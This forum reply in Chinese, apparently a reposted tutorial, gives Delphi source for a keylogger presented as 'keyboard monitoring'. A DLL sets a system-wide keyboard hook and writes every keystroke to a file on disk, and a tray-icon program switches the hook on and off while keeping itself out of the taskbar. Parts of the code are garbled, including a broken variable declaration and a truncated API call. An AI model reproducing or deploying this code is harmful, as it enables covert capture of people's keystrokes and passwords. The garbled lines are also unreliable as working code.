第二个问题用hook也就是钩子,<br>这个问题好些人都有解答了。<br><br>利用Hook技术实现键盘监控<br><br><br>在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的<br>监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用<br>Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很<br>好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的<br>具体实现分别对这两部分进行详细论述。<br><br>一、Hook(钩子)的实现: <br>Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且<br>处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程<br>序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实<br>现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的<br>是在DLL中实现Hook的方式。<br><br>1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 <br><br>代码如下: <br>library keyspy;<br><br>uses<br> SysUtils,<br> Classes,<br> windows,<br> messages,<br> hookproc in 'hookproc.pas';<br> exports setkeyhook,endkeyhook;<br>{$R *.RES}<br>begin<br> hnexthookproc:=0;<br> procsaveexit:=exitproc;<br> exitproc:=@keyhookexit;<br>end.<br>unit hookproc;<br>interface<br>uses Windows,Messages,SysUtils,Controls,StdCtrls;<br><br>var<br> hnexthookproc:hhook;<br> procsaveexit
ointer;<br> function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):<br>lresult;stdcall;export;<br> function setkeyhook:bool;export;//加载钩子 <br> function endkeyhook:bool;export;//卸载钩子 <br> procedure keyhookexit;far;<br> const afilename='c:/debug.txt';//将键盘输入动作写入文件中 <br>var<br> debugfile:textfile;<br>implementation<br><br>function keyboardhook{handler}(icode:integer;wparam:wparam;lparam:<br>lparam):lresult;stdcall;export;<br>begin<br> if icode<0 then<br> begin<br> result:=callnexthookex(hnexthookproc,icode,wparam,lparam);<br> exit;<br> end;<br> assignfile(debugfile,afilename);<br> append(debugfile);<br> if getkeystate(vk_return)<0 then<br> begin<br> writeln(debugfile,'');<br> write(debugfile,char(wparam));<br> end<br> else write(debugfile,char(wparam));<br> closefile(debugfile);<br> result:=0;<br>end;<br>function setkeyhook:bool;export;<br><br>begin<br> hnexthookproc:=SetWindowsHookEx(WH_Keyboard,@keyboardhook,HInstance,<br>0);<br> result:=hnexthookproc=0;<br>end;<br><br>function endkeyhook:bool;export;<br>begin<br> if hnexthookproc<>0 then<br> begin<br> unhookwindowshookex(hnexthookproc);<br> hnexthookproc:=0;<br> messagebeep(0);<br> end;<br> result:=hnexthookproc=0;<br>end;<br>procedure keyhookexit;far;<br> begin<br> if hnexthookproc<>0 then<br> endkeyhook;<br> exitproc:=procsaveexit;<br> end;<br>end.<br>以上程序我刚刚作过实验编译肯定是没有问题<br>实现问题也不大,效果不尽人意,截获的<br>是用户键盘的所有击键动作,比如我用汉字输入“天津?<br>结果它截获的是tianjin,还有一个问题是有重码现象<br>比方说我输入hellfire,它截获的通常是hheellllffiirree<br>有时候还回是hehellllfifirree<br>没有什么道理,没有时间看了,欢迎大家讨论。?<br><br>二、<br>Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉<br>及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向<br>TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该<br>函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当<br>程序起动后,用鼠标右键点击图标,则弹出一个菜单,<br>可选择sethook或endhook。<br><br>unit kb; <br>interface <br>uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,<br>Dialogs, StdCtrls, Menus,shellapi; <br>const<br> icon_id=1; <br> MI_iconevent=wm_user+1;//定义一个用户消息 <br>type <br><br>TForm1 = class(TForm)<br> PopupMenu1: TPopupMenu; <br> sethook1: TMenuItem; <br> endhook1: TMenuItem; <br> N1: TMenuItem; <br> About1: TMenuItem; <br> Close1: TMenuItem; <br> Gettext1: TMenuItem; <br><br> procedure FormCreate(Sender:TObject); <br> procedure sethook1Click(Sender: TObject); <br> procedure endhook1Click(Sender: TObject); <br> procedure FormDestroy(Sender: TObject); <br> procedure Close1Click(Sender: TObject); <br><br> private { Private declarations } <br> nid:tnotifyicondata; <br> normalicon:ticon; <br> public { Public declarations } <br> procedure icontray(var msg:tmessage); message mi_iconevent; <br>end; <br><br>var <br> Form1: TForm1; <br><br>implementation <br> {$R *.DFM} <br>function setkeyhook:bool; external 'keyspy.dll'; <br>function endkeyhook:bool; external 'keyspy.dll'; <br>procedure tform1.icontray(var msg:tmessage); <br>var pt:tpoint; <br> begin <br> if msg.lparam=wm_lbuttondown then ?<br> ?sethook1click(self); <br> if msg.LParam=wm_rbuttondown then ?<br> ?begin <br> getcursorpos(pt);<br> setforegroundwindow(handle); <br> popupmenu1.popup(pt.x,pt.y); <br> end; <br> end; <br>procedure TForm1.FormCreate(Sender: TObject); <br> begin <br> normalicon:=ticon.create; <br> application.title:=caption; <br> nid.cbsize:=sizeof(nid); <br> nid.wnd:=handle; <br> nid.uid:=icon_id; <br> nid.uflags:=nif_icon or nif_message or nif_tip; <br> nid.ucallbackmessage:=mi_iconevent; <br> nid.hIcon :=normalicon.handle; <br> strcopy(nid.sztip,pchar(caption)); <br> nid.uFlags:=nif_message or nif_icon or nif_tip; ?<br>hell_notifyicon(nim_add,@nid); <br> SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW); <br> end; <br>procedure TForm1.sethook1Click(Sender: TObject); <br> begin<br> setkeyhook; <br> end; <br>procedure TForm1.endhook1Click(Sender: TObject);<br> begin<br> endkeyhook; <br> end; <br>procedure TForm1.FormDestroy(Sender: TObject); <br> begin<br> nid.uFlags :=0; <br> shell_notifyicon(nim_delete,@nid); <br> end; <br>procedure TForm1.Close1Click(Sender: TObject); <br> begin<br> application.terminate; <br> end;<br>end.<br><br>